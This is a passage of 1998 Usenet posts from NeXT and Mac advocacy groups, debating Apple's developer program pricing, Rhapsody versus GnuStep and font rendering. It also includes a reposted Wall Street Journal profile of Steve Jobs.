and you are a Rhapsody developer.
A couple people have mentioned this, and it almost couldn't be further
from the truth. Downloading the above _might_ make you an "OpenStep"
developer. But GnuStep is behind OpenStep, and OpenStep is being
obsoleted by Rhapsody.
Let me make sure I'm being understood. OpenStep, GnuStep, and
Rhapsody will all share a certain core API. You will be able to write
an application which will compile and run on all three. You _also_
will be able to write applications on all three that won't compile on
the other two.
It's very much like saying that downloading Sun's JDK makes you a
Microsoft J++ developer, or running J++ makes you a Java developer.
True in one way, very untrue in another, more important way,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 21:28:22 GMT
Message-ID: <01bd67eb$e6650ec0$2ef0bfa8@davidsul>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net> <ericb-0904981707160001@132.236.171.104> <6gqlb4$oop$26@ironhorse.plsys.co.uk> <ericb-1304982030210001@132.236.171.104> <6gvkir$oop$41@ironhorse.plsys.co.uk> <ericb-1404981454340001@132.236.171.104>
> I would rather fork over the $500 for the developer program than $250 for
> OpenStep and $1500 for a new computer.
>
> Some people (students) do not have that money to spend, regardless of how
> serious they are. If it were not a hobby, I (personally) could justify
> $500, but if it were my job, I wouldn't be paying for it out of my own
> pocket anyway!
>
> I will not pay $500. If I need stability I'll have to stay with PowerPC
> Linux. If the developer CD mailing for $200 included seeds, I could
> probably justify the expense. $500 is too much for me, and probably for
> lots of other students. If Apple really *is* working on an educational
> developer program, then they too probably recognize this fact.
Eric, it is possible that you can get on the $500 developer plan FOR FREE.
Apple announced that certain universities are getting the developer plan
for free, have you contacted apple or your university to see if cornel is
getting this for free?
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: letter to macnn about developer article
Date: 14 Apr 1998 21:32:19 GMT
Message-ID: <01bd67ec$731a7b20$2ef0bfa8@davidsul>
>by Oliver Dueck
>
>Last week, Apple announced some drastic changes to its developer program.
Prices were changed, services shuffled.
No, prices were increased with no new services offered, or services deleted
>At first, all we heard were complaints. After two or three days, more
people came forward and said that the new program wasn't that bad.
Personally, I was kind of mad at first - until I realized that Apple wasn't
hurting developers.
True, its not ALL THAT BAD to lots of people. Still, their is nothing good
>The biggest complaint was the new pricing structure. Previously, you could
enter the Associate program for a mere $250. Not only did you get
pre-release software at that price; you even got hardware discounts. It was
a great bargain.
It was a so so deal. Apple was definitely making money on the hardware
sales (the deals were comparative to what some mail order places made, and
when you realize that apple sold the hardware to mail order places at LESS
than what the mail order places sold them for (the mail order places
obviously have to make a profit) you realize apple was selling the hardware
to developers with a BIGGER profit than if the developers bought from mail
order
>
>Now, the minimum you have to pay to get pre-release software (read:
Rhapsody DR1) is $500 per year, for the Select Program. That gets you the
following:
>
>
>
>•Apple Developer Connection Mailing (monthly CDs) •Two technical support
incidents •$100 Metrowerks coupon •Apple Software Seeding Program (Rhapsody
DR1) •SDKs •Access to Compatibility Labs
I dont know what strings are attached to the coupon so I cant comment on
it.
>All in all, not a bad deal. The Premier Program costs a lot more - $3500.
But look at what you get:
>
>
>
>•Apple Developer Connection Mailing •Eight technical support incidents
•$300 Metrowerks coupon •Full conference pass to the Worldwide Developers
Conference •Hardware discounts •Service Source CD •Apple Technology Seeding
•SDKs •Access to Compatibility Labs
>
>
>
>Now, the arguments against the new programs usually center on two things:
hardware discounts and shareware developers.
>
>It used to be that a lot of people would join the program simply because
it could pay for itself when you bought a new computer. But hey, that's not
really fair to Apple - they only lose, because those people weren't
developing anything.
Apple makes more money selling this way than if someone bought mailorder
and you say apple loses out? HUH????
>
>And besides, the discounts aren't that steep anymore. The prices are often
close to what you would find at a typical mail order store. By offering
hardware discounts only to Premier Program members, Apple ensures that
people don't enter the program simply to get a cheap Mac.
You admit that the discount is about the same as mail order and then say it
ensures that people dont enter the program to get a cheap mac, when you
already admit their isnt a saving??? Is Steve Jobs paying you to defend
apple??
>
>People are also complaining that the new prices/features hurt shareware
developers. Do they? No.
WRONG, some definitely are hurt. Those that want to develop useful apps
for rhapsody and have this software out when rhapsody cr1 is out AND cant
afford the increase are hurt.
>You don't need to be part of the developer program to make Mac or Rhapsody
shareware. Sure, it can help, but if you put the $100 Metrowerks coupon to
use, you only have to pay $400 - or forty $10 shareware registrations. It
is still quite affordable.
If you want your software to be out when rhapsody cr1 is released, then yes
you either need to be part of the developer program OR you need to
ILLEGALLY BREAK THE LAW and PIRATE rhapsody
>Is Apple doing anything wrong here? Actually, yes; Apple is hurting the
hobbyists who previously joined the developer program so that they could
play with prerelease software, and maybe develop a few things for personal
use.
>
>These people don't want to pay $500, and they don't need access to
compatibility labs, tech support, or even the Metrowerks discount. So,
Apple, bring back that $250 price point in a package that gets you only the
software, and I'll be happy.
If for $250 one could get the seeds that they got in the old program, plus
the cd's with the programming tools and stuff, but no metrowerks discount,
no hardware discount, no tech support, no compatibility labs access, apple
would not hurt people as badly as they are.
In fact, if apple was really smart, they would price this at $150 or $200.
WHy? See bellow.
Steve Jobs seems to be acting like he is Bill Gates and Apple is Microsoft.
I am sorry apple, you are no microsoft. You are a STRUGGLING company
whose developers are LEAVING YOU and who has a problem with LACK OF
SOFTWARE. Microsoft has a monopoly, developers develop for ms windows
because financially they HAVE to. FInancially developers are DISCOURAGED
from developing for the mac. Mac developers develop DESPITE this because
they love the mac. Lots of mac developers develop mac products in their
spare time because their company doesnt support the mac because they
believe it is not profitable enough, and wont support the developers. They
developers have to pay for the apple program out of their own pocket.
Apple needs to do everything they can to encourage development for the mac,
because without software for the mac, the mac will die. And every day mac
users are turning to pc's because the mac does not have some software
package they need, such as quickbooks. And saying "well they could use
MYOB instead" does no good because they ARE SWITCHING, and what good does
it do that they could use another software package when they will still
switch?
Mac developers develop IN SPITE OF THE FINANCIAL forces, and Apple by
doubling the fees while keeping the same benefits or reducing benefits is
making it even harder for some developers, and this is plain stupid.
Just like the story of Steve Jobs, when seeing a prominent game developer
being given a tour of apple, having armed security guards with guns escort
him out of the premises and threatened with arrest was stupid of JObs to
do.
I am sorry Apple, you do not have a monopoly like microsoft does, stop
thinking you can use monopolistic pricing when people are leaving the mac
in droves.
Tommorow we will find out what the worldwide marketshare is, *HOPEFULLY* it
will be higher than what it was the same quarter last year, but even if it
is, this is only a start
Emailed to oliver@macnn.com (the author) and also posted to usenet
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Tue, 14 Apr 1998 14:46:14 -0700
Organization: Trilithon Research and Trading
Message-ID: <3533D925.83974212@trilithon.com>
References: <6gvasb$1sr@gap.cco.caltech.edu> <B158F932-40B21@206.165.43.147>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Lawson English wrote:
* Shimpei Yamashita <shimpei+usenet+.mil+.gov@BOFH.
* patnet.caltech.edu> said:
* * A small nit to pick here: Hangul is the Korean
* * phonetic alphabet. It is not used at all in
* * Chinese or Japanese. You're thinking of Hanzi
* * Jpn. Kanji).
* Thanks, someone else already corrected me on this.
* Are there contextual issues with Hanzi/Kanji like
* there are with Hangul?
To the best of my knowledge, no. I don't have my Ken Lunde
book here with me right now, and my Unicode books are also
somewhere else.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Tue, 14 Apr 1998 16:35:28 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1404981635280001@130.130.117.53>
References: <6go69q$8l1$3@hecate.umd.edu> <352FD2BF.50693172@adr.dk> <tim-1204981459310001@jump-k56flex-0101.jumpnet.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
This is way over my head technically, but aren't you also going to lose
around 1/2 a ns for travel time. I seem to recall that the electrons in
the traces only travel about 20-25cm (8inches) in a nanosecond. I assume
that it is built in to the latency in the first access since it would be
double the distance doing the round trip for request and returned data,
but is it also going to affect the other acesses as well?
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 16:36:07 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3533D6C7.95AECD96@milestonerdl.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu>
<j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5>
<6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
<gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net>
<6ggmk2$jdl$1@news.digifix.com> <352D4957.84AE1890@alexa.com> <SCOTT.98Apr10103112@slave.doubleu.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Scott Hess wrote:
> In article <352D4957.84AE1890@alexa.com>,
> Joshua Winsor <joshua@alexa.com> writes:
> Scott Anguish wrote:
> > Now, as far as Rhapsody is concerned it is leaving a gap, but
> > only because of the time-frame.... However if you join Select
> > you're still covered.
>
> Download GnuStep and MKLinux, all free, MKLinux paid for by Apple,
> and you are a Rhapsody developer.
>
> A couple people have mentioned this, and it almost couldn't be further
> from the truth. Downloading the above _might_ make you an "OpenStep"
> developer. But GnuStep is behind OpenStep, and OpenStep is being
> obsoleted by Rhapsody.
But the GnuStep/MKLinux route won't leave you shafted the way Apple just
shafted the Newton Developers.
And, keep in mind, Apple TODAY is a niche market player. The niche for
NeXTSTEP/OpenSTEP has just grown, but it's still a niche. And Apple is
unlikly to get beyond %25 of the whole market. And Apple has formally not
committed to any FUTURE support, save it be MacOS. (if you are willing
to wait till May, you may see formal support for NT[5-x]/win[98-x],
perhaps other Unixes) So, if you are liking niches, AND willing to take
the risk that, at any moment, you can get 'Steved' (like the newton
developers did) then, go nutz on Rhapsody.
And, if you go the Rhapsody route, there IS an exit route of GnuSTEP.
(kinda like the Windows folks have willows)
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Jerky Jobs - 2/2
Date: Tue, 14 Apr 98 10:01:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8ED2259.09B60068DA.uuout@relaynet.org>
The board dismissed Dr. Amelio on July 9. In a new book, "On the Firing
Line: My 500 Days at Apple," he portrays Mr. Jobs as a conniving back-stabber
"obsessed with power" who cunningly maneuvered him out of a job. "I have
worked through my disappointment in the way Steve Jobs treated me, but shall
never forget the pain of it," Dr. Amelio writes. Mr. Jobs declines to comment
on the book.
In another display of his persuasiveness, Mr. Jobs then talked most of
Apple's directors into resigning, replacing them with his own candidates.
This new board named him interim CEO in September.
He said he was reluctant to become permanent CEO because of family
commitments and his duties as CEO of Pixar Animation Studios, the successful
producer of the film "Toy Story." But by this time he had already radically
changed Apple's course, by making the deal with Microsoft and ending the
Mac's licensing.
Both decisions are revealing. Microsoft's main deal maker and chief
financial officer, Greg Maffei, was courted by a barefoot Mr. Jobs in a long
walk around his Palo Alto, Calif., home. Mr. Maffei later marveled at what a
"charming . . . rational, intelligent individual" Mr. Jobs is. "He is a great
marketer," he gushed.
In quashing the cloners, Mr. Jobs portrayed them as unreasonably rejecting
his repeated offers to compromise on licensing fees. "They basically told me
to pound sand," he told a group of developers. But executives of the three
main cloners say Mr. Jobs demanded licensing fees more than five times what
Microsoft charges for its software and reneged on the company's prior
commitment to allow cloning. It got pretty ugly.
According to two executives of Taiwanese cloner Umax Data Systems, Umax
agreed to certain Apple demands in return for the continued right to clone
the Mac, only to be told by Mr. Jobs that he had changed his mind and no
longer wanted to allow cloning. Umax finally got a limited one-year extension
of cloning rights.
The cloning issue also led to a fierce argument with Motorola CEO
Christopher Galvin. Mr. Galvin won't discuss it, but according to two
Motorola people, he erupted when Mr. Jobs, in a telephone conversation, tried
to strike a bargain: granting Motorola the right to continue cloning in
return for a promise to speed up development of microprocessors crucial to
Apple's laptop business. Mr. Jobs erupted right back. Motorola later took a
$95 million charge to shut down cloning.
Motorola continues as a chip supplier to the company, but officials say
they will no longer go the extra mile for Apple. "They will be just another
customer," one says.
Mr. Jobs's handling of the Newton hand-held computer also has raised
hackles. First, in a "fireside chat" with Apple developers last May while Dr.
Amelio was still CEO, Mr. Jobs said he had bought a Newton but found it so
useless he "threw it away." He suggested that the technology be spun out from
Apple in some way. Dr. Amelio soon put the Newton into a separate subsidiary,
a step toward a possible sale. But when Mr. Jobs became interim CEO, one of
his first moves was to fold the Newton back inside Apple.
Then, a few weeks ago, he killed it. That provoked customers and
developers, a handful of whom were so upset they picketed Apple's
headquarters.
Jobs defenders describe all these moves as good business. The deal with
Microsoft made sense, they say, because Apple desperately needed for
Microsoft to update its best-selling Office suite on the Mac. They add that
the cloning effort was probably too late to help Apple, and Mr. Jobs has a
plan to put Newton's engineers to work developing a mobile computer based on
the Mac operating system.
Some Apple employees are less bothered by any of these decisions than by a
few of Mr. Jobs's more-personal moves, including the fact that he has put
former Next people in charge of Apple's most important operations: sales,
manufacturing and research and development.
One of Mr. Jobs's first official acts was to send out internal electronic
mail announcing belt-tightening measures, including cancellation of paid
sabbaticals. Another e-mail forbade employees on the famously laid-back Apple
campus to bring their pets to work. Smokers were told they couldn't light up
anywhere on the premises, even out in the parking lot.
A fake Jobs e-mail ensued, announcing that "you've all become lazy." It
said employees would be charged for parking, and "only I will be allowed to
park in handicapped spaces" -- a reference to Mr. Jobs's occasional habit of
parking his Mercedes-Benz S600 in the restricted spots. Egalitarian-minded
Apple doesn't have assigned parking spaces, so even the CEO can be faced with
wasting time hunting for one. But unsympathetic pranksters parodied Apple's
"Think different" ad campaign by sticking a sign on his car saying, "Park
different."
After the fake e-mail, Mr. Jobs announced that he would fire anyone who
tampered with the e-mail system or leaked documents. A broad interpretation
of the no-leaks policy soon felled a veteran Apple executive. Mr. Jobs
summoned Sandy Benett, general manager of the Newton subsidiary, to a meeting
to tell him Newton Inc. was being melded back into Apple. After Mr. Benett
told his underlings of the decision prior to an official announcement, word
leaked to the press. Incensed, Mr. Jobs ordered Mr. Benett fired on the spot.
After retaining a lawyer, Mr. Benett was able to negotiate a separation,
but a chill swept through the company. "One of my friends at Apple begged me
to delete his e-mails from my hard disk," says Dave Winer, a longtime
Macintosh developer.
Among the many others to feel Mr. Jobs's wrath was one of his personal
assistants, who was tardy in arranging installation of a high-speed digital
data line called a T-1. When Mr. Jobs met a delay in receiving e-mail one day,
he stormed out of his office, leaned into the cubicle of the assistant, Jim
Oliver, and said, "No T-1. You're fired," according to Mr. Oliver and a co-
worker.
Mr. Oliver left, unsure whether the boss was serious. "His temper can
flare up," he notes. The next morning, Mr. Jobs apologized to some other
staffers for the incident, explaining that he just gets extremely frustrated
when things don't work the way they're supposed to, one recalls. Word was
relayed to Mr. Oliver that he could return, but he resigned soon after.
Many Apple watchers say Mr. Jobs's dictatorial style is exactly what is
needed at the company, where Dr. Amelio said he found enormous resistance to
change. Says Mr. Woolard, the director: "When you come into a company that is
in serious difficulty, my experience is you have to be decisive. And you have
to make decisions about which people are capable and which need to move on."
In any case, officers agree that Mr. Jobs knows when not to be dictatorial.
For example, he backed off a plan to accelerate the launch of the G3 line of
Macs when warned by an engineering chief that quality problems could result.
Says Lee Clow, head of the Chiat Day ad agency: "His intensity can
overwhelm some people, but usually it's the people who can't keep up with him
and therefore deliver what needs to be delivered anyway. It's his way of
weeding out the weaker people."
Still, like a high-tech Hamlet, Mr. Jobs wavers on whether to be CEO or
not to be. Directors want him to drop the "interim" label and have offered
options for up to six million shares plus a million shares of restricted
stock. But "this is not about money," Mr. Jobs said in a recent interview in
New York. "That's not why I'm there. I have more money than I've ever wanted
in my life."
Nonetheless, one person close to the board's deliberations asserts that Mr.
Jobs offered to accept the CEO job for a couple of years if given a big pile
of options priced below the current stock price. Mr. Jobs denies this,
according to someone familiar with his thinking.
When the five engineering prospects met with Mr. Jobs about working at
Apple last fall, one of their last questions was how long he planned to stay.
They say that Mr. Jobs, citing his 1985 ouster and Apple's eventual decline,
replied: "I'm either going to be CEO or chairman of the company forever. I
turned Apple over to a bozo once."
---
Joann S. Lublin contributed to this article.
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Jerky Jobs - 1/2
Date: Tue, 14 Apr 98 10:01:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8ED2259.09B60068D9.uuout@relaynet.org>
Thinking Different:
At Apple, a Fiery Jobs Often Makes Headway And Sometimes a Mess
---
He Knows How to Market But Clashes With Cloners And Belittles His Foes
---
Skewered on the Gil-o-Meter
By Jim Carlton
04/14/98
The Wall Street Journal
CUPERTINO, Calif. -- Steve Jobs, Apple Computer Inc.'s co-founder and
interim chief executive officer, arrives a half-hour late for an interview
with five top engineering prospects. Attired in shorts and T-shirt, he plops
down for a chat and soon proceeds to blow his cool.
The trigger is a seemingly natural query from an engineer named Jon Fitch:
Given that Mr. Jobs sold all but one of his shares in the company a few
months prior, what exactly is his commitment to Apple? Mr. Jobs starts out by
tensely explaining how he is devoting so much time to Apple that he is
sacrificing his family life. "I'm working here 18 hours a day," he says. Then
he quickly builds up to an obscenity-laced tirade, thundering, "To the people
who ask me that question, I say, `F--- you! F--- you!'"
No one should doubt the intensity of Mr. Jobs's desire to save the company
he helped create 20 years ago, as shown by that interview last fall. He
describes as "bozos" John Sculley, who forced him out in the 1980s, and
Gilbert Amelio, the Apple CEO dismissed last summer, and would like nothing
better than to show them how it's done. Mr. Jobs has labored for the past
nine months without pay to reverse Apple's slide, pulling off neat marketing
moves, launching development of new products and at least temporarily
restoring profitability. He has so impressed the board that it plans to give
him a hefty financial reward whether or not he agrees to become permanent CEO.
His performance, says director Edgar S. Woolard, a former CEO of DuPont Co.,
has been "phenomenal."
But as in the old days, Mr. Jobs's brilliance is accompanied by instances
of duplicity and arrogance, creating some of the same kinds of turmoil and
morale problems that flared during his previous tenure, leading to his ouster
in 1985. Mr. Jobs has caused divisions with Apple, as he did once before by
favoring the team that developed the Macintosh computer, to the point of
letting that team fly a pirate flag over the Mac building to show its
independence. This time, he is favoring people he brought with him from Next
Software Inc., the company he sold to Apple in December 1996 in a transaction
that eventually returned him to power.
He makes no secret of his disdain for much of Apple's work force. Apple
has "10,000 mediocre employees that have to be cleaned out," two of the
engineering prospects quote him as saying.
Mr. Jobs has gotten into fights with business partners by reversing
Apple's commitment to let others clone the Mac. He had a virtual yelling
match with the head of one crucial partner, Motorola Inc., maker of the Mac's
microprocessors. To a columnist on a Mac Web site who challenged his
strategies, he fired back, "I'm the best hope you've got."
In that, he may well be right. His CEO predecessors botched a long-running
battle with Microsoft Corp. and Intel Corp. for leadership of the personal-
computer market, to the point that Apple now is being overwhelmed. But Mr.
Jobs has the clear-eyed view that the Microsoft-Intel duopoly has won the war
for the desktop, so he has initiated a series of moves to stay out of their
way as much as possible.
He has cut product lines to focus on Apple's strongest markets, education
and desktop publishing, and on developing new products such as a sub-$1,000
laptop and some sort of PC-TV device. He has made peace with Microsoft,
cutting a deal for a $150 million investment by it and a promise to support
vital software applications for the Mac, in return for licensing some
technology to Microsoft and supporting its Internet browser.
His marketing knack remains intact. Apple hired back Omnicom Group's TBWA
Chiat/Day, the ad agency he used long ago, and has made a splash with a
"Think different" campaign linking the Mac to maverick geniuses and with ads
denigrating "Wintel" machines by showing an Intel chip on the back of a snail.
Mr. Jobs also signed a deal with CompUSA Inc., the biggest computer-store
chain, to set up Apple "stores within stores." The Mac's share of total PC
sales at those outlets quickly quadrupled. Though overall Mac sales have
continued to erode, Apple is at least spared costly and unrewarding
distribution by other national retailers.
Thanks partly to sales of its new, speedier G3 line of Macs, developed
before Mr. Jobs returned to power, Apple reported a modest profit in the
fiscal first quarter ended Dec. 26, after losing nearly $2 billion over the
previous two years. Its stock has doubled since Mr. Jobs took charge.
"Fundamentally, Apple has stabilized," says Jerome York, a director and
former International Business Machines Corp. chief financial officer. "The
company was in a situation of chaos when he took it over."
Supporters say Mr. Jobs's rough edges just reflect an unbridled drive to
excel and an obsession with detail. Before giving a speech, he rehearses for
up to two hours. Going on stage, he demands two bottles of water, Odwalla or
Evian. "He wants the best, he wants it now and he won't take no for an answer,
" says Mike Slade, a software executive who worked for Mr. Jobs at Next.
"He's inspiring, maddening."
Mr. Jobs, however, is no Bill Gates, the Microsoft chairman who figured
out that the way to win in PCs (and become the wealthiest person in the
world) was to price low and go for huge volumes by creating computing
standards. In his first stint at Apple, Mr. Jobs was enamored of high profit
margins at the expense of volume, just as Apple's CEOs were. The Microsoft-
Intel camp has used its vast economies of scale to undercut Apple's prices
and destroy its market share, which in fours years has shrunk to 2.6% of the
global PC market from 9.4%. Even in education, Apple's share has fallen by
more than half in that time.
But Mr. Jobs's return gives him a chance to trod the stage one more time,
displaying the uniquely powerful personality that either entrances or
alienates those around him. Indeed, it was his ability to charm and persuade -
- so intense it was once described as a "reality-distortion field" -- that
got him back in the game. In late 1996 he persuaded Dr. Amelio to pay $430
million for struggling Next to obtain technology for a new operating system
code-named Rhapsody.
He was so compelling that Dr. Amelio asked him to become a free-ranging
consultant. Although he publicly backed Dr. Amelio, Mr. Jobs indiscreetly
ridiculed him behind his back. At a dinner party at his home to celebrate the
sale of Next, Mr. Jobs and his Next managers joked about creating a "Gil-o-
meter" to gauge stupidity, with someone who is "two Gils" being twice as
stupid as Dr. Amelio, according to people -- including Dr. Amelio -- who say
they were told this by those at the party. Mr. Jobs declines to comment.
A few months later, Mr. Jobs sold all but one of the Apple shares he got
for his Next stake, saying privately that he was dismayed by Dr. Amelio's
performance.
He began to run roughshod over Apple managers. At one meeting, he berated
Ellen Hancock, then chief technology officer, in an argument over Rhapsody.
"It got into name-calling, and Ellen finally told him he was acting like a
child," a witness says. Ms. Hancock says she doesn't remember name-calling
but agrees that "it did get a bit heated." She was later demoted by Dr.
Amelio, and left Apple.
A few weeks later, in a marketing meeting Dr. Amelio called to review a
new ad campaign, all present expressed support for the slogan "We're back"
except Mr. Jobs. "Gil was saying we should do this when Steve interrupted . .
and said the slogan was stupid because Apple wasn't back," a meeting
participant says. The campaign was modified. "It was then obvious who was in
charge," says another participant. Dr. Amelio says he remained in charge of
that meeting, but "I let people state their mind."
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: trumbull@cs.yale.edu (Ben Trumbull)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 10:49:26 -0400
Organization: Yale University
Message-ID: <trumbull-1404981049260001@net44-223.student.yale.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk> <trumbull-0904981544360001@net44-223.student.yale.edu> <6gqm9g$oop$29@ironhorse.plsys.co.uk>
In article <6gqm9g$oop$29@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> Where did I make that claim?! Please refrain from putting words into my
> mouth -- it is most distasteful.
You said Apple changed the dev program to prevent people from abusing it
because Apple was losing money on it. You and other people suggested
Apple was "subsidizing" hobbyist developers. I pointed out a number of
places where Apple either does, or should, make a substantial profit off
hobbyist developers. No one put words into your mouth. Apple never
subsidized developers. Perhaps their profits off dev discounted hardware
was not as large as it would be if the dev paid full list price, but then
you're assuming that (A) the dev would buy the machine at all at that
price (B) they'd buy it from Apple. (B) in particular is unlikely given
that Apple's prices are higher than most retailers.
> So why have so many people been screaming about the fact that the hardware
> discount scheme is no longer as accessible?
Dunno. Maybe they're just feeling shafted by a tactless change in
policy. Maybe the next $100 comes in handy ?
> Figures? Until I see figures proving it one way ot the other, each of us is
> untitled to our own *opinion*.
Retailers take a substantial chunk out of the net in any sale. This is
fact, not a matter of opinion.
terminally curious,
Ben
___________________________________________________________________
Benjamin Trumbull
trumbull@cs.yale.edu
Yale University
You can't be in hell; you can still read your e-mail
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 23:20:19 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6h0qvj$3b5$1@news.cs.tu-berlin.de>
References: <6gvit9$8u$6@ns3.vrx.net> <B15903E4-68E92@206.165.43.147>
Mime-Version: 1.0
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"Lawson English" <english@primenet.com> writes:
>What I was told on the GX newsgroup is that DPS is being used primarily as
>a rendering engine when dealing with text, and that queries to DPS for
>things like hit-testing are reserved for NSViews (?) and not individual
>characters. This suggests that the bounding box of individual glyphs is
>also determined on the framework side instead of the rendering side of the
>equation.
You were told correctly, and had you bothered to ask, people on this
NG could have told you so as well. The NSFont object parses AFM files
to get the relevant info, although it would also be possible to obtain
the info from the PS font itself. Anyway, you hardly ever need the
bounding box of a character, what is typically needed is the dx/dy
information. For hit-testing, you take the *nominal* size of a character,
not the actualy glyph outline. Well, actually you don't really do
anything at all because the built-in objects usually take care of
the messy details, letting your code respond to messages like the
following: 'the user selected some text in this object, the range
of relevant characters is as follows...'
Haven't tried it with Asian fonts myself, but the relative popularity
of NS-J suggests that it works reasonably well...
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 23:37:44 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6h0s08$5kr$1@new-news.cc.brandeis.edu>
References: <ericb-1304982021040001@132.236.171.104> <6gve4s$oop$40@ironhorse.plsys.co.uk> <ericb-1404981437160001@132.236.171.104>
In article <ericb-1404981437160001@132.236.171.104> ericb@pobox.com (Eric Bennett) writes:
>In article <6gve4s$oop$40@ironhorse.plsys.co.uk>, mmalcolm crawford
><malcolm@plsys.co.uk> wrote:
>
>> Then how about waiting until they make an announcement, and then whining if
>> they don't live up (or down to your...) to expectations?
>
>How long should I wait? The plan for regular developers has been around
>for a long time. Rhapsody DR1 came out last September. Does it really
>take seven months to make an announcement?
It is better this way - every piece of information *we* know about the
future of Rhapsody is information that competing companies will *also*
know. And Rhapsody is something we already know the underlying details
of. The boring details like UI finalization and other superfluous do-dads
can wait. The foundation of this OS is what counts.
>(Also remember that I've been waiting for a "real" [sorry Don!] OS from
Why use an abstract term like "real" at all? Why not say "robust
multi-user OS"?
>Apple for a long time. My patience does have limits. Seven months may
>not seem that bad. What if it stretches into 12 months? What if it
>doesn't happen at all? At some point you *have* to give up on Apple, and
>I think it's natural for me to start grumbling when I'm tired of waiting.
>You didn't go through the Copland fiasco.)
Boy, Apple has burned you bad. Years ago, I started reading between the
lines and saw what happened pretty much as it was happening (I spent an
absurd amoung of time combing the presses). Scully made the deal with IBM
- big partnership. Tons of things were supposed to come out of it, little
did. "Pink" (named after the color of post-it note Scully was using to
track the progress of the project in his office) was supposed to be an
all-new object oriented operating system from both Apple and IBM (inspired
by NeXTStep, I might add). IBM got into bed with Apple in the hopes of
getting Apple to make the MacOS a personality on top of OS/2. (Perhaps
one of the reasons Star Trek was killed was because Mac OS for x86 would
mean that the MacOS personality was that much closer to coming to OS/2,
and Apple may not have wanted that.) IBM finished OS/2 for PPC two years
too late (typical IBM), and by that time OS/2 was on its way out for x86
so IBM canned its plans to re-design x86 OS/2 to run on a microkernel like
the PPC one, thus the two OS/2's were never even architecturally
compatible. Meanwhile, despite lots of fuzzy ideas about what kind of OO
OS Pink was supposed to be, the IBM and Apple folks never hashed out the
solid underpinnings on which to build it. So they silently scuttled the
OS idea and lifted the OpenDoc concept from it, formed a consortium, and
planned to put that on top of OS/2, Windows, and Mac OS. Apple still
needed a new OS, and was behind schedule at this point, having wasted
valuable time trying to work with IBM. As I watched Novell drop the ball
with OpenDoc for Windows (IBM pulled through with OpenDoc for OS/2, but at
that point NOBODY cared about OS/2), I thought to myself, well there goes
any hope of cross-platform anything from IBM and Apple. This whole time
the General Magic, another mutant offspring from Apple and IBM, had
managed to produce a PDA brainstormed by one of the guys who designed the
original Mac, and HyperCard (Hertzfield, was it?), which was quite cool
but had no handwriting recognition and was as expensive as the Newton (it
